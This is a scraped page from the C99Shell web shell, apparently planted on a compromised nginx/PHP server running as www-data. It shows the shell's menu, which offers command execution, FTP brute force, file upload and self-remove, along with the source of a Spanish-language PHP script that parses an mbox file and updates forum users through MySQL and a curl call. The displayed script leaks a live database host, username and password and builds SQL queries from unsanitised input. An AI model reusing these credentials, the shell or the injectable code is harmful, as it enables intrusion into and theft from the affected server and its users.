!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/scripts/   drwxr-xr-x
Free 83.3 GB of 96.73 GB (86.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     de_mbox_a_patrocinadores.php (3.93 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('/home/wwwroot/frames/conn.php');
include_once (
"/home/wwwroot/frames/classes/class.log.php");
$conn2=mysql_connect("81.4.127.184","papyr225_phpb1","bJ8V1vmDPkHZ"); 
  
$handle=fopen("/home/scripts/ppl.mbox","r");
  if (!
$handle)die("error de apertura");
  
/*$var .= fread($handle, 8192);
 / echo $var;
  die();
  */
  
  
while (!feof($handle)) {
  
$var .= fread($handle8192);
}

  
  
  
  
  
$array=explode("Return-Path: <[email protected]>",$var);
  
$contador=0;
  foreach(
$array as $clave=>$valor){
  
  
flush();
    
$correo=trim(hasta($valor,"Reply-To: ",chr(10)));
    
    
    
  
   
    
$fecha1=hasta ($valor,"Date: ",chr(10));
    
$fecha1=hasta($fecha1,",","-");
    
    if (
strstr($fecha1,"Dec") and strstr($fecha1,"2014")){
        
        
$sqlb="SELECT * 
FROM papyr225_papyre.patrocinadores 
WHERE correo='
$correo' and fecha > '2014-12-01'
"
;
$resb=mysql_query($sqlb,$conn);

if (
mysql_num_rows($resb)==0){
        
        
        
        
        
       
$contador++; 
        
/// tachaaaaaaan
        //buscamos si el correo est� ya en BBDD torrebruno
        
         
$sql="select username, user_email from ".BBDD_FORO.".phpbb_users where user_email='$correo'";
        echo 
chr(10);
        echo 
mysql_error();
        
$res=mysql_query($sql,$conn2);
  
$row=mysql_fetch_array($res);
  
$username=str_replace(" ","+",$row['username']);
        
         
//echo "+++++++++++++++++++++++ correo es $correo  ";
         
if ($username>''){
             echo 
" el username es $username";
             
$control= new control($username);
             
             if (
$control->grupo!="patrocinador"){
             
          echo 
"****************+++++ $username";
          
$handler curl_init("http://hostveloz.com/automatas/patrocinadores.php?submit=Enviar&dale=si&usuario=$username");  
          
$response curl_exec ($handler);  
          
          
curl_close($handler);  
          
          if (
strpos($response,"Torrebruno")){
           
          echo 
"BIENNNNNNNNNNNNNNNNNNNNn";  
          
$sqla="INSERT INTO papyr225_papyre.adtfinal (usuario, correo, estado) values ('$username','$correo','si')";
          
$reas=mysql_query($sqla,$conn);
          }else{
          echo 
"----------------------------------------------FALLO"
          
$sqla="INSERT INTO papyr225_papyre.adtfinal (usuario, correo, estado) values ('$username','$correo','no')";
          
$reas=mysql_query($sqla,$conn);
          echo 
mysql_error();
              
         }
         
flush();
        echo 
"contador es ".$contador.chr(10);
        die();
        
//if ($contador>1)die();
      //   echo "+++++++++++++++++++++++++ y fecha es $fecha1".chr(10);
         
}else{echo "usuario $username a es ADT".chr(10);}
    }else{
        
$sqla="INSERT INTO papyr225_papyre.adtfinal (usuario, correo, estado) values ('','$correo','--')";
        
$reas=mysql_query($sqla,$conn);
    }
        
    }else{echo 
" correo  $correo ya es ADT".chr(10);}
  }
  }
  
  
  
  
  
  
  
  
  
  function 
hasta($ccadena,$vdesde,$vhasta) {
    
## esta funcion es para devolver la cadena desde $vdesde  hasta $hasta, excluidas estas
    
   
$ccadena=strstr($ccadena,$vdesde);
   if (!
$ccadena){
   echo 
"NO SE ENCONTRO ".$ccadena."<br>".chr(10);
   return(
null);
}
   
## ahora, contamos hasta desde $desde 
   ## hasta el caracter $vhasta
   
$ccadena=substr($ccadena,strlen($vdesde));
   
$c="";
   
$a=0;
   
$b="";
   
/*
   while($b!="$vhasta") {
              $b=substr($ccadena,$a,1);
       $c=$c.$b;
       $a++;
       echo $a.chr(10);
   }
   */
     
while(!strstr($c,$vhasta)) {
              
$b=substr($ccadena,$a,1);
       
$c=$c.$b;
       
$a++;
       
#echo $a.chr(10);
   
}
   
## quitamos los ultimos caracteres, que es "$vhasta"
   
$c=substr($c,0,(strlen($c)-(strlen($vhasta))));
   return (
"$c");
}
### fin ---------------------------------------------funcion hasta 
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0044 ]--